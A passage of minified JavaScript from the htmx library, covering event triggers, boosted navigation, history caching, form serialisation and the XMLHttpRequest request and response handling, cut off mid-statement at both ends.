if(h(e,'input[type="button"], input[type="submit"]')){return[{trigger:"click"}]}else if(h(e,ot)){return[{trigger:"change"}]}else{return[{trigger:"click"}]}}function lt(e){ie(e).cancelled=true}function ct(e,t,n){const r=ie(e);r.timeout=E().setTimeout(function(){if(le(e)&&r.cancelled!==true){if(!gt(n,e,Mt("hx:poll:trigger",{triggerSpec:n,target:e}))){t(e)}ct(e,t,n)}},n.pollInterval)}function ut(e){return location.hostname===e.hostname&&ee(e,"href")&&ee(e,"href").indexOf("#")!==0}function at(e){return g(e,Q.config.disableSelector)}function ft(t,n,e){if(t instanceof HTMLAnchorElement&&ut(t)&&(t.target===""||t.target==="_self")||t.tagName==="FORM"&&String(ee(t,"method")).toLowerCase()!=="dialog"){n.boosted=true;let r,o;if(t.tagName==="A"){r="get";o=ee(t,"href")}else{const i=ee(t,"method");r=i?i.toLowerCase():"get";o=ee(t,"action");if(o==null||o===""){o=ne().location.href}if(r==="get"&&o.includes("?")){o=o.replace(/\?[^#]+/,"")}}e.forEach(function(e){pt(t,function(e,t){const n=ue(e);if(at(n)){b(n);return}de(r,o,n,t)},n,e,true)})}}function ht(e,t){const n=ue(t);if(!n){return false}if(e.type==="submit"||e.type==="click"){if(n.tagName==="FORM"){return true}if(h(n,'input[type="submit"], button')&&(h(n,"[form]")||g(n,"form")!==null)){return true}if(n instanceof HTMLAnchorElement&&n.href&&(n.getAttribute("href")==="#"||n.getAttribute("href").indexOf("#")!==0)){return true}}return false}function dt(e,t){return ie(e).boosted&&e instanceof HTMLAnchorElement&&t.type==="click"&&(t.ctrlKey||t.metaKey)}function gt(e,t,n){const r=e.eventFilter;if(r){try{return r.call(t,n)!==true}catch(e){const o=r.source;fe(ne().body,"htmx:eventFilter:error",{error:e,source:o});return true}}return false}function pt(l,c,e,u,a){const f=ie(l);let t;if(u.from){t=p(l,u.from)}else{t=[l]}if(u.changed){if(!("lastValue"in f)){f.lastValue=new WeakMap}t.forEach(function(e){if(!f.lastValue.has(u)){f.lastValue.set(u,new WeakMap)}f.lastValue.get(u).set(e,e.value)})}se(t,function(i){const s=function(e){if(!le(l)){i.removeEventListener(u.trigger,s);return}if(dt(l,e)){return}if(a||ht(e,l)){e.preventDefault()}if(gt(u,l,e)){return}const t=ie(e);t.triggerSpec=u;if(t.handledFor==null){t.handledFor=[]}if(t.handledFor.indexOf(l)<0){t.handledFor.push(l);if(u.consume){e.stopPropagation()}if(u.target&&e.target){if(!h(ue(e.target),u.target)){return}}if(u.once){if(f.triggeredOnce){return}else{f.triggeredOnce=true}}if(u.changed){const n=event.target;const r=n.value;const o=f.lastValue.get(u);if(o.has(n)&&o.get(n)===r){return}o.set(n,r)}if(f.delayed){clearTimeout(f.delayed)}if(f.throttle){return}if(u.throttle>0){if(!f.throttle){he(l,"htmx:trigger");c(l,e);f.throttle=E().setTimeout(function(){f.throttle=null},u.throttle)}}else if(u.delay>0){f.delayed=E().setTimeout(function(){he(l,"htmx:trigger");c(l,e)},u.delay)}else{he(l,"htmx:trigger");c(l,e)}}};if(e.listenerInfos==null){e.listenerInfos=[]}e.listenerInfos.push({trigger:u.trigger,listener:s,on:i});i.addEventListener(u.trigger,s)})}let mt=false;let xt=null;function yt(){if(!xt){xt=function(){mt=true};window.addEventListener("scroll",xt);window.addEventListener("resize",xt);setInterval(function(){if(mt){mt=false;se(ne().querySelectorAll("[hx-trigger*='revealed'],[data-hx-trigger*='revealed']"),function(e){bt(e)})}},200)}}function bt(e){if(!s(e,"data-hx-revealed")&&X(e)){e.setAttribute("data-hx-revealed","true");const t=ie(e);if(t.initHash){he(e,"revealed")}else{e.addEventListener("htmx:afterProcessNode",function(){he(e,"revealed")},{once:true})}}}function vt(e,t,n,r){const o=function(){if(!n.loaded){n.loaded=true;he(e,"htmx:trigger");t(e)}};if(r>0){E().setTimeout(o,r)}else{o()}}function wt(t,n,e){let i=false;se(r,function(r){if(s(t,"hx-"+r)){const o=te(t,"hx-"+r);i=true;n.path=o;n.verb=r;e.forEach(function(e){St(t,e,n,function(e,t){const n=ue(e);if(g(n,Q.config.disableSelector)){b(n);return}de(r,o,n,t)})})}});return i}function St(r,e,t,n){if(e.trigger==="revealed"){yt();pt(r,n,t,e);bt(ue(r))}else if(e.trigger==="intersect"){const o={};if(e.root){o.root=ae(r,e.root)}if(e.threshold){o.threshold=parseFloat(e.threshold)}const i=new IntersectionObserver(function(t){for(let e=0;e<t.length;e++){const n=t[e];if(n.isIntersecting){he(r,"intersect");break}}},o);i.observe(ue(r));pt(ue(r),n,t,e)}else if(!t.firstInitCompleted&&e.trigger==="load"){if(!gt(e,r,Mt("load",{elt:r}))){vt(ue(r),n,t,e.delay)}}else if(e.pollInterval>0){t.polling=true;ct(ue(r),n,e)}else{pt(r,n,t,e)}}function Et(e){const t=ue(e);if(!t){return false}const n=t.attributes;for(let e=0;e<n.length;e++){const r=n[e].name;if(l(r,"hx-on:")||l(r,"data-hx-on:")||l(r,"hx-on-")||l(r,"data-hx-on-")){return true}}return false}const Ct=(new XPathEvaluator).createExpression('.//*[@*[ starts-with(name(), "hx-on:") or starts-with(name(), "data-hx-on:") or'+' starts-with(name(), "hx-on-") or starts-with(name(), "data-hx-on-") ]]');function Ot(e,t){if(Et(e)){t.push(ue(e))}const n=Ct.evaluate(e);let r=null;while(r=n.iterateNext())t.push(ue(r))}function Rt(e){const t=[];if(e instanceof DocumentFragment){for(const n of e.childNodes){Ot(n,t)}}else{Ot(e,t)}return t}function Ht(e){if(e.querySelectorAll){const n=", [hx-boost] a, [data-hx-boost] a, a[hx-boost], a[data-hx-boost]";const r=[];for(const i in Mn){const s=Mn[i];if(s.getSelectors){var t=s.getSelectors();if(t){r.push(t)}}}const o=e.querySelectorAll(H+n+", form, [type='submit'],"+" [hx-ext], [data-hx-ext], [hx-trigger], [data-hx-trigger]"+r.flat().map(e=>", "+e).join(""));return o}else{return[]}}function Tt(e){const t=g(ue(e.target),"button, input[type='submit']");const n=Lt(e);if(n){n.lastButtonClicked=t}}function qt(e){const t=Lt(e);if(t){t.lastButtonClicked=null}}function Lt(e){const t=g(ue(e.target),"button, input[type='submit']");if(!t){return}const n=y("#"+ee(t,"form"),t.getRootNode())||g(t,"form");if(!n){return}return ie(n)}function At(e){e.addEventListener("click",Tt);e.addEventListener("focusin",Tt);e.addEventListener("focusout",qt)}function Nt(t,e,n){const r=ie(t);if(!Array.isArray(r.onHandlers)){r.onHandlers=[]}let o;const i=function(e){vn(t,function(){if(at(t)){return}if(!o){o=new Function("event",n)}o.call(t,e)})};t.addEventListener(e,i);r.onHandlers.push({event:e,listener:i})}function It(t){ke(t);for(let e=0;e<t.attributes.length;e++){const n=t.attributes[e].name;const r=t.attributes[e].value;if(l(n,"hx-on")||l(n,"data-hx-on")){const o=n.indexOf("-on")+3;const i=n.slice(o,o+1);if(i==="-"||i===":"){let e=n.slice(o+1);if(l(e,":")){e="htmx"+e}else if(l(e,"-")){e="htmx:"+e.slice(1)}else if(l(e,"htmx-")){e="htmx:"+e.slice(5)}Nt(t,e,r)}}}}function Pt(t){if(g(t,Q.config.disableSelector)){b(t);return}const n=ie(t);const e=Pe(t);if(n.initHash!==e){De(t);n.initHash=e;he(t,"htmx:beforeProcessNode");const r=st(t);const o=wt(t,n,r);if(!o){if(re(t,"hx-boost")==="true"){ft(t,n,r)}else if(s(t,"hx-trigger")){r.forEach(function(e){St(t,e,n,function(){})})}}if(t.tagName==="FORM"||ee(t,"type")==="submit"&&s(t,"form")){At(t)}n.firstInitCompleted=true;he(t,"htmx:afterProcessNode")}}function kt(e){e=y(e);if(g(e,Q.config.disableSelector)){b(e);return}Pt(e);se(Ht(e),function(e){Pt(e)});se(Rt(e),It)}function Dt(e){return e.replace(/([a-z0-9])([A-Z])/g,"$1-$2").toLowerCase()}function Mt(e,t){let n;if(window.CustomEvent&&typeof window.CustomEvent==="function"){n=new CustomEvent(e,{bubbles:true,cancelable:true,composed:true,detail:t})}else{n=ne().createEvent("CustomEvent");n.initCustomEvent(e,true,true,t)}return n}function fe(e,t,n){he(e,t,ce({error:t},n))}function Xt(e){return e==="htmx:afterProcessNode"}function Ft(e,t){se(Un(e),function(e){try{t(e)}catch(e){O(e)}})}function O(e){if(console.error){console.error(e)}else if(console.log){console.log("ERROR: ",e)}}function he(e,t,n){e=y(e);if(n==null){n={}}n.elt=e;const r=Mt(t,n);if(Q.logger&&!Xt(t)){Q.logger(e,t,n)}if(n.error){O(n.error);he(e,"htmx:error",{errorInfo:n})}let o=e.dispatchEvent(r);const i=Dt(t);if(o&&i!==t){const s=Mt(i,r.detail);o=o&&e.dispatchEvent(s)}Ft(ue(e),function(e){o=o&&(e.onEvent(t,r)!==false&&!r.defaultPrevented)});return o}let Bt=location.pathname+location.search;function Ut(){const e=ne().querySelector("[hx-history-elt],[data-hx-history-elt]");return e||ne().body}function jt(t,e){if(!B()){return}const n=_t(e);const r=ne().title;const o=window.scrollY;if(Q.config.historyCacheSize<=0){localStorage.removeItem("htmx-history-cache");return}t=U(t);const i=S(localStorage.getItem("htmx-history-cache"))||[];for(let e=0;e<i.length;e++){if(i[e].url===t){i.splice(e,1);break}}const s={url:t,content:n,title:r,scroll:o};he(ne().body,"htmx:historyItemCreated",{item:s,cache:i});i.push(s);while(i.length>Q.config.historyCacheSize){i.shift()}while(i.length>0){try{localStorage.setItem("htmx-history-cache",JSON.stringify(i));break}catch(e){fe(ne().body,"htmx:historyCacheError",{cause:e,cache:i});i.shift()}}}function Vt(t){if(!B()){return null}t=U(t);const n=S(localStorage.getItem("htmx-history-cache"))||[];for(let e=0;e<n.length;e++){if(n[e].url===t){return n[e]}}return null}function _t(e){const t=Q.config.requestClass;const n=e.cloneNode(true);se(x(n,"."+t),function(e){G(e,t)});se(x(n,"[data-disabled-by-htmx]"),function(e){e.removeAttribute("disabled")});return n.innerHTML}function zt(){const e=Ut();const t=Bt||location.pathname+location.search;let n;try{n=ne().querySelector('[hx-history="false" i],[data-hx-history="false" i]')}catch(e){n=ne().querySelector('[hx-history="false"],[data-hx-history="false"]')}if(!n){he(ne().body,"htmx:beforeHistorySave",{path:t,historyElt:e});jt(t,e)}if(Q.config.historyEnabled)history.replaceState({htmx:true},ne().title,window.location.href)}function $t(e){if(Q.config.getCacheBusterParam){e=e.replace(/org\.htmx\.cache-buster=[^&]*&?/,"");if(Y(e,"&")||Y(e,"?")){e=e.slice(0,-1)}}if(Q.config.historyEnabled){history.pushState({htmx:true},"",e)}Bt=e}function Jt(e){if(Q.config.historyEnabled)history.replaceState({htmx:true},"",e);Bt=e}function Kt(e){se(e,function(e){e.call(undefined)})}function Gt(o){const e=new XMLHttpRequest;const i={path:o,xhr:e};he(ne().body,"htmx:historyCacheMiss",i);e.open("GET",o,true);e.setRequestHeader("HX-Request","true");e.setRequestHeader("HX-History-Restore-Request","true");e.setRequestHeader("HX-Current-URL",ne().location.href);e.onload=function(){if(this.status>=200&&this.status<400){he(ne().body,"htmx:historyCacheMissLoad",i);const e=P(this.response);const t=e.querySelector("[hx-history-elt],[data-hx-history-elt]")||e;const n=Ut();const r=xn(n);kn(e.title);qe(e);Ve(n,t,r);Te();Kt(r.tasks);Bt=o;he(ne().body,"htmx:historyRestore",{path:o,cacheMiss:true,serverResponse:this.response})}else{fe(ne().body,"htmx:historyCacheMissLoadError",i)}};e.send()}function Wt(e){zt();e=e||location.pathname+location.search;const t=Vt(e);if(t){const n=P(t.content);const r=Ut();const o=xn(r);kn(t.title);qe(n);Ve(r,n,o);Te();Kt(o.tasks);E().setTimeout(function(){window.scrollTo(0,t.scroll)},0);Bt=e;he(ne().body,"htmx:historyRestore",{path:e,item:t})}else{if(Q.config.refreshOnHistoryMiss){window.location.reload(true)}else{Gt(e)}}}function Zt(e){let t=we(e,"hx-indicator");if(t==null){t=[e]}se(t,function(e){const t=ie(e);t.requestCount=(t.requestCount||0)+1;e.classList.add.call(e.classList,Q.config.requestClass)});return t}function Yt(e){let t=we(e,"hx-disabled-elt");if(t==null){t=[]}se(t,function(e){const t=ie(e);t.requestCount=(t.requestCount||0)+1;e.setAttribute("disabled","");e.setAttribute("data-disabled-by-htmx","")});return t}function Qt(e,t){se(e.concat(t),function(e){const t=ie(e);t.requestCount=(t.requestCount||1)-1});se(e,function(e){const t=ie(e);if(t.requestCount===0){e.classList.remove.call(e.classList,Q.config.requestClass)}});se(t,function(e){const t=ie(e);if(t.requestCount===0){e.removeAttribute("disabled");e.removeAttribute("data-disabled-by-htmx")}})}function en(t,n){for(let e=0;e<t.length;e++){const r=t[e];if(r.isSameNode(n)){return true}}return false}function tn(e){const t=e;if(t.name===""||t.name==null||t.disabled||g(t,"fieldset[disabled]")){return false}if(t.type==="button"||t.type==="submit"||t.tagName==="image"||t.tagName==="reset"||t.tagName==="file"){return false}if(t.type==="checkbox"||t.type==="radio"){return t.checked}return true}function nn(t,e,n){if(t!=null&&e!=null){if(Array.isArray(e)){e.forEach(function(e){n.append(t,e)})}else{n.append(t,e)}}}function rn(t,n,r){if(t!=null&&n!=null){let e=r.getAll(t);if(Array.isArray(n)){e=e.filter(e=>n.indexOf(e)<0)}else{e=e.filter(e=>e!==n)}r.delete(t);se(e,e=>r.append(t,e))}}function on(t,n,r,o,i){if(o==null||en(t,o)){return}else{t.push(o)}if(tn(o)){const s=ee(o,"name");let e=o.value;if(o instanceof HTMLSelectElement&&o.multiple){e=M(o.querySelectorAll("option:checked")).map(function(e){return e.value})}if(o instanceof HTMLInputElement&&o.files){e=M(o.files)}nn(s,e,n);if(i){sn(o,r)}}if(o instanceof HTMLFormElement){se(o.elements,function(e){if(t.indexOf(e)>=0){rn(e.name,e.value,n)}else{t.push(e)}if(i){sn(e,r)}});new FormData(o).forEach(function(e,t){if(e instanceof File&&e.name===""){return}nn(t,e,n)})}}function sn(e,t){const n=e;if(n.willValidate){he(n,"htmx:validation:validate");if(!n.checkValidity()){t.push({elt:n,message:n.validationMessage,validity:n.validity});he(n,"htmx:validation:failed",{message:n.validationMessage,validity:n.validity})}}}function ln(n,e){for(const t of e.keys()){n.delete(t)}e.forEach(function(e,t){n.append(t,e)});return n}function cn(e,t){const n=[];const r=new FormData;const o=new FormData;const i=[];const s=ie(e);if(s.lastButtonClicked&&!le(s.lastButtonClicked)){s.lastButtonClicked=null}let l=e instanceof HTMLFormElement&&e.noValidate!==true||te(e,"hx-validate")==="true";if(s.lastButtonClicked){l=l&&s.lastButtonClicked.formNoValidate!==true}if(t!=="get"){on(n,o,i,g(e,"form"),l)}on(n,r,i,e,l);if(s.lastButtonClicked||e.tagName==="BUTTON"||e.tagName==="INPUT"&&ee(e,"type")==="submit"){const u=s.lastButtonClicked||e;const a=ee(u,"name");nn(a,u.value,o)}const c=we(e,"hx-include");se(c,function(e){on(n,r,i,ue(e),l);if(!h(e,"form")){se(f(e).querySelectorAll(ot),function(e){on(n,r,i,e,l)})}});ln(r,o);return{errors:i,formData:r,values:An(r)}}function un(e,t,n){if(e!==""){e+="&"}if(String(n)==="[object Object]"){n=JSON.stringify(n)}const r=encodeURIComponent(n);e+=encodeURIComponent(t)+"="+r;return e}function an(e){e=qn(e);let n="";e.forEach(function(e,t){n=un(n,t,e)});return n}function fn(e,t,n){const r={"HX-Request":"true","HX-Trigger":ee(e,"id"),"HX-Trigger-Name":ee(e,"name"),"HX-Target":te(t,"id"),"HX-Current-URL":ne().location.href};bn(e,"hx-headers",false,r);if(n!==undefined){r["HX-Prompt"]=n}if(ie(e).boosted){r["HX-Boosted"]="true"}return r}function hn(n,e){const t=re(e,"hx-params");if(t){if(t==="none"){return new FormData}else if(t==="*"){return n}else if(t.indexOf("not ")===0){se(t.slice(4).split(","),function(e){e=e.trim();n.delete(e)});return n}else{const r=new FormData;se(t.split(","),function(t){t=t.trim();if(n.has(t)){n.getAll(t).forEach(function(e){r.append(t,e)})}});return r}}else{return n}}function dn(e){return!!ee(e,"href")&&ee(e,"href").indexOf("#")>=0}function gn(e,t){const n=t||re(e,"hx-swap");const r={swapStyle:ie(e).boosted?"innerHTML":Q.config.defaultSwapStyle,swapDelay:Q.config.defaultSwapDelay,settleDelay:Q.config.defaultSettleDelay};if(Q.config.scrollIntoViewOnBoost&&ie(e).boosted&&!dn(e)){r.show="top"}if(n){const s=F(n);if(s.length>0){for(let e=0;e<s.length;e++){const l=s[e];if(l.indexOf("swap:")===0){r.swapDelay=d(l.slice(5))}else if(l.indexOf("settle:")===0){r.settleDelay=d(l.slice(7))}else if(l.indexOf("transition:")===0){r.transition=l.slice(11)==="true"}else if(l.indexOf("ignoreTitle:")===0){r.ignoreTitle=l.slice(12)==="true"}else if(l.indexOf("scroll:")===0){const c=l.slice(7);var o=c.split(":");const u=o.pop();var i=o.length>0?o.join(":"):null;r.scroll=u;r.scrollTarget=i}else if(l.indexOf("show:")===0){const a=l.slice(5);var o=a.split(":");const f=o.pop();var i=o.length>0?o.join(":"):null;r.show=f;r.showTarget=i}else if(l.indexOf("focus-scroll:")===0){const h=l.slice("focus-scroll:".length);r.focusScroll=h=="true"}else if(e==0){r.swapStyle=l}else{O("Unknown modifier in hx-swap: "+l)}}}}return r}function pn(e){return re(e,"hx-encoding")==="multipart/form-data"||h(e,"form")&&ee(e,"enctype")==="multipart/form-data"}function mn(t,n,r){let o=null;Ft(n,function(e){if(o==null){o=e.encodeParameters(t,r,n)}});if(o!=null){return o}else{if(pn(n)){return ln(new FormData,qn(r))}else{return an(r)}}}function xn(e){return{tasks:[],elts:[e]}}function yn(e,t){const n=e[0];const r=e[e.length-1];if(t.scroll){var o=null;if(t.scrollTarget){o=ue(ae(n,t.scrollTarget))}if(t.scroll==="top"&&(n||o)){o=o||n;o.scrollTop=0}if(t.scroll==="bottom"&&(r||o)){o=o||r;o.scrollTop=o.scrollHeight}}if(t.show){var o=null;if(t.showTarget){let e=t.showTarget;if(t.showTarget==="window"){e="body"}o=ue(ae(n,e))}if(t.show==="top"&&(n||o)){o=o||n;o.scrollIntoView({block:"start",behavior:Q.config.scrollBehavior})}if(t.show==="bottom"&&(r||o)){o=o||r;o.scrollIntoView({block:"end",behavior:Q.config.scrollBehavior})}}}function bn(r,e,o,i){if(i==null){i={}}if(r==null){return i}const s=te(r,e);if(s){let e=s.trim();let t=o;if(e==="unset"){return null}if(e.indexOf("javascript:")===0){e=e.slice(11);t=true}else if(e.indexOf("js:")===0){e=e.slice(3);t=true}if(e.indexOf("{")!==0){e="{"+e+"}"}let n;if(t){n=vn(r,function(){return Function("return ("+e+")")()},{})}else{n=S(e)}for(const l in n){if(n.hasOwnProperty(l)){if(i[l]==null){i[l]=n[l]}}}}return bn(ue(c(r)),e,o,i)}function vn(e,t,n){if(Q.config.allowEval){return t()}else{fe(e,"htmx:evalDisallowedError");return n}}function wn(e,t){return bn(e,"hx-vars",true,t)}function Sn(e,t){return bn(e,"hx-vals",false,t)}function En(e){return ce(wn(e),Sn(e))}function Cn(t,n,r){if(r!==null){try{t.setRequestHeader(n,r)}catch(e){t.setRequestHeader(n,encodeURIComponent(r));t.setRequestHeader(n+"-URI-AutoEncoded","true")}}}function On(t){if(t.responseURL&&typeof URL!=="undefined"){try{const e=new URL(t.responseURL);return e.pathname+e.search}catch(e){fe(ne().body,"htmx:badResponseUrl",{url:t.responseURL})}}}function R(e,t){return t.test(e.getAllResponseHeaders())}function Rn(t,n,r){t=t.toLowerCase();if(r){if(r instanceof Element||typeof r==="string"){return de(t,n,null,null,{targetOverride:y(r)||ve,returnPromise:true})}else{let e=y(r.target);if(r.target&&!e||r.source&&!e&&!y(r.source)){e=ve}return de(t,n,y(r.source),r.event,{handler:r.handler,headers:r.headers,values:r.values,targetOverride:e,swapOverride:r.swap,select:r.select,returnPromise:true})}}else{return de(t,n,null,null,{returnPromise:true})}}function Hn(e){const t=[];while(e){t.push(e);e=e.parentElement}return t}function Tn(e,t,n){let r;let o;if(typeof URL==="function"){o=new URL(t,document.location.href);const i=document.location.origin;r=i===o.origin}else{o=t;r=l(t,document.location.origin)}if(Q.config.selfRequestsOnly){if(!r){return false}}return he(e,"htmx:validateUrl",ce({url:o,sameHost:r},n))}function qn(e){if(e instanceof FormData)return e;const t=new FormData;for(const n in e){if(e.hasOwnProperty(n)){if(e[n]&&typeof e[n].forEach==="function"){e[n].forEach(function(e){t.append(n,e)})}else if(typeof e[n]==="object"&&!(e[n]instanceof Blob)){t.append(n,JSON.stringify(e[n]))}else{t.append(n,e[n])}}}return t}function Ln(r,o,e){return new Proxy(e,{get:function(t,e){if(typeof e==="number")return t[e];if(e==="length")return t.length;if(e==="push"){return function(e){t.push(e);r.append(o,e)}}if(typeof t[e]==="function"){return function(){t[e].apply(t,arguments);r.delete(o);t.forEach(function(e){r.append(o,e)})}}if(t[e]&&t[e].length===1){return t[e][0]}else{return t[e]}},set:function(e,t,n){e[t]=n;r.delete(o);e.forEach(function(e){r.append(o,e)});return true}})}function An(o){return new Proxy(o,{get:function(e,t){if(typeof t==="symbol"){const r=Reflect.get(e,t);if(typeof r==="function"){return function(){return r.apply(o,arguments)}}else{return r}}if(t==="toJSON"){return()=>Object.fromEntries(o)}if(t in e){if(typeof e[t]==="function"){return function(){return o[t].apply(o,arguments)}}else{return e[t]}}const n=o.getAll(t);if(n.length===0){return undefined}else if(n.length===1){return n[0]}else{return Ln(e,t,n)}},set:function(t,n,e){if(typeof n!=="string"){return false}t.delete(n);if(e&&typeof e.forEach==="function"){e.forEach(function(e){t.append(n,e)})}else if(typeof e==="object"&&!(e instanceof Blob)){t.append(n,JSON.stringify(e))}else{t.append(n,e)}return true},deleteProperty:function(e,t){if(typeof t==="string"){e.delete(t)}return true},ownKeys:function(e){return Reflect.ownKeys(Object.fromEntries(e))},getOwnPropertyDescriptor:function(e,t){return Reflect.getOwnPropertyDescriptor(Object.fromEntries(e),t)}})}function de(t,n,r,o,i,D){let s=null;let l=null;i=i!=null?i:{};if(i.returnPromise&&typeof Promise!=="undefined"){var e=new Promise(function(e,t){s=e;l=t})}if(r==null){r=ne().body}const M=i.handler||Dn;const X=i.select||null;if(!le(r)){oe(s);return e}const c=i.targetOverride||ue(Ee(r));if(c==null||c==ve){fe(r,"htmx:targetError",{target:te(r,"hx-target")});oe(l);return e}let u=ie(r);const a=u.lastButtonClicked;if(a){const L=ee(a,"formaction");if(L!=null){n=L}const A=ee(a,"formmethod");if(A!=null){if(A.toLowerCase()!=="dialog"){t=A}}}const f=re(r,"hx-confirm");if(D===undefined){const K=function(e){return de(t,n,r,o,i,!!e)};const G={target:c,elt:r,path:n,verb:t,triggeringEvent:o,etc:i,issueRequest:K,question:f};if(he(r,"htmx:confirm",G)===false){oe(s);return e}}let h=r;let d=re(r,"hx-sync");let g=null;let F=false;if(d){const N=d.split(":");const I=N[0].trim();if(I==="this"){h=Se(r,"hx-sync")}else{h=ue(ae(r,I))}d=(N[1]||"drop").trim();u=ie(h);if(d==="drop"&&u.xhr&&u.abortable!==true){oe(s);return e}else if(d==="abort"){if(u.xhr){oe(s);return e}else{F=true}}else if(d==="replace"){he(h,"htmx:abort")}else if(d.indexOf("queue")===0){const W=d.split(" ");g=(W[1]||"last").trim()}}if(u.xhr){if(u.abortable){he(h,"htmx:abort")}else{if(g==null){if(o){const P=ie(o);if(P&&P.triggerSpec&&P.triggerSpec.queue){g=P.triggerSpec.queue}}if(g==null){g="last"}}if(u.queuedRequests==null){u.queuedRequests=[]}if(g==="first"&&u.queuedRequests.length===0){u.queuedRequests.push(function(){de(t,n,r,o,i)})}else if(g==="all"){u.queuedRequests.push(function(){de(t,n,r,o,i)})}else if(g==="last"){u.queuedRequests=[];u.queuedRequests.push(function(){de(t,n,r,o,i)})}oe(s);return e}}const p=new XMLHttpRequest;u.xhr=p;u.abortable=F;const m=function(){u.xhr=null;u.abortable=false;if(u.queuedRequests!=null&&u.queuedRequests.length>0){const e=u.queuedRequests.shift();e()}};const B=re(r,"hx-prompt");if(B){var x=prompt(B);if(x===null||!he(r,"htmx:prompt",{prompt:x,target:c})){oe(s);m();return e}}if(f&&!D){if(!confirm(f)){oe(s);m();return e}}let y=fn(r,c,x);if(t!=="get"&&!pn(r)){y["Content-Type"]="application/x-www-form-urlencoded"}if(i.headers){y=ce(y,i.headers)}const U=cn(r,t);let b=U.errors;const j=U.formData;if(i.values){ln(j,qn(i.values))}const V=qn(En(r));const v=ln(j,V);let w=hn(v,r);if(Q.config.getCacheBusterParam&&t==="get"){w.set("org.htmx.cache-buster",ee(c,"id")||"true")}if(n==null||n===""){n=ne().location.href}const S=bn(r,"hx-request");const _=ie(r).boosted;let E=Q.config.methodsThatUseUrlParams.indexOf(t)>=0;const C={boosted:_,useUrlParams:E,formData:w,parameters:An(w),unfilteredFormData:v,unfilteredParameters:An(v),headers:y,target:c,verb:t,errors:b,withCredentials:i.credentials||S.credentials||Q.config.withCredentials,timeout:i.timeout||S.timeout||Q.config.timeout,path:n,triggeringEvent:o};if(!he(r,"htmx:configRequest",C)){oe(s);m();return e}n=C.path;t=C.verb;y=C.headers;w=qn(C.parameters);b=C.errors;E=C.useUrlParams;if(b&&b.length>0){he(r,"htmx:validation:halted",C);oe(s);m();return e}const z=n.split("#");const $=z[0];const O=z[1];let R=n;if(E){R=$;const Z=!w.keys().next().done;if(Z){if(R.indexOf("?")<0){R+="?"}else{R+="&"}R+=an(w);if(O){R+="#"+O}}}if(!Tn(r,R,C)){fe(r,"htmx:invalidPath",C);oe(l);return e}p.open(t.toUpperCase(),R,true);p.overrideMimeType("text/html");p.withCredentials=C.withCredentials;p.timeout=C.timeout;if(S.noHeaders){}else{for(const k in y){if(y.hasOwnProperty(k)){const Y=y[k];Cn(p,k,Y)}}}const H={xhr:p,target:c,requestConfig:C,etc:i,boosted:_,select:X,pathInfo:{requestPath:n,finalRequestPath:R,responsePath:null,anchor:O}};p.onload=function(){try{const t=Hn(r);H.pathInfo.responsePath=On(p);M(r,H);if(H.keepIndicators!==true){Qt(T,q)}he(r,"htmx:afterRequest",H);he(r,"htmx:afterOnLoad",H);if(!le(r)){let e=null;while(t.length>0&&e==null){const n=t.shift();if(le(n)){e=n}}if(e){he(e,"htmx:afterRequest",H);he(e,"htmx:afterOnLoad",H)}}oe(s);m()}catch(e){fe(r,"htmx:onLoadError",ce({error:e},H));throw e}};p.onerror=function(){Qt(T,q);fe(r,"htmx:afterRequest",H);fe(r,"htmx:sendError",H);oe(l);m()};p.onabort=function(){Qt(T,q);fe(r,"htmx:afterRequest",H);fe(r,"htmx:sendAbort",H);oe(l);m()};p.ontimeout=function(){Qt(T,q);fe(r,"htmx:afterRequest",H);fe(r,"htmx:timeout",H);oe(l);m()};if(!he(r,"htmx:beforeRequest",H)){oe(s);m();return e}var T=Zt(r);var q=Yt(r);se(["loadstart","loadend","progress","abort"],function(t){se([p,p.upload],function(e){e.addEventListener(t,function(e){he(r,"htmx:xhr:"+t,{lengthComputable:e.lengthComputable,loaded:e.loaded,total:e.total})})})});he(r,"htmx:beforeSend",H);const J=E?null:mn(p,r,w);p.send(J);return e}function Nn(e,t){const n=t.xhr;let r=null;let o=null;if(R(n,/HX-Push:/i)){r=n.getResponseHeader("HX-Push");o="push"}else if(R(n,/HX-Push-Url:/i)){r=n.getResponseHeader("HX-Push-Url");o="push"}else if(R(n,/HX-Replace-Url:/i)){r=n.getResponseHeader("HX-Replace-Url");o="replace"}if(r){if(r==="false"){return{}}else{return{type:o,path:r}}}const i=t.pathInfo.finalRequestPath;const s=t.pathInfo.responsePath;const l=re(e,"hx-push-url");const c=re(e,"hx-replace-url");const u=ie(e).boosted;let a=null;let f=null;if(l){a="push";f=l}else if(c){a="replace";f=c}else if(u){a="push";f=s||i}if(f){if(f==="false"){return{}}if(f==="true"){f=s||i}if(t.pathInfo.anchor&&f.indexOf("#")===-1){f=f+"#"+t.pathInfo.anchor}return{type:a,path:f}}else{return{}}}function In(e,t){var n=new RegExp(e.code);return n.test(t.toString(10))}function Pn(e){for(var t=0;t<Q.config.responseHandling.length;t++){var n=Q.config.responseHandling[t];if(In(n,e.status)){return n}}return{swap:false}}function kn(e){if(e){const t=u("title");if(t){t.innerHTML=e}else{window.document.title=e}}}function Dn(o,i){const s=i.xhr;let l=i.target;const e=i.etc;const c=i.select;if(!he(o,"htmx:beforeOnLoad",i))return;if(R(s,/HX-Trigger:/i)){Je(s,"HX-Trigger",o)}if(R(s,/HX-Location:/i)){zt();let e=s.getResponseHeader("HX-Location");var t;if(e.indexOf("{")===0){t=S(e);e=t.path;delete t.path}Rn("get",e,t).then(function(){$t(e)});return}const n=R(s,/HX-Refresh:/i)&&s.getResponseHeader("HX-Refresh")==="true";if(R(s,/HX-Redirect:/i)){i.keepIndicators=true;location.href=s.getResponseHeader("HX-Redirect");n&&location.reload();return}if(n){i.keepIndicators=true;location.reload();return}if(R(s,/HX-Retarget:/i)){if(s.getResponseHeader("HX-Retarget")==="this"){i.target=o}else{i.target=ue(ae(o,s.getResponseHeader("HX-Retarget")))}}const u=Nn(o,i);const r=Pn(s);const a=r.swap;let f=!!r.error;let h=Q.config.ignoreTitle||r.ignoreTitle;let d=r.select;if(r.target){i.target=ue(ae(o,r.target))}var g=e.swapOverride;if(g==null&&r.swapOverride){g=r.swapOverride}if(R(s,/HX-Retarget:/i)){if(s.getResponseHeader("HX-Retarget")==="this"){i.target=o}else{i.target=ue(ae(o,s.getResponseHeader("HX-Retarget")))}}if(R(s,/HX-Reswap:/i)){g=s.getResponseHeader("HX-Reswap")}var p=s.response;var 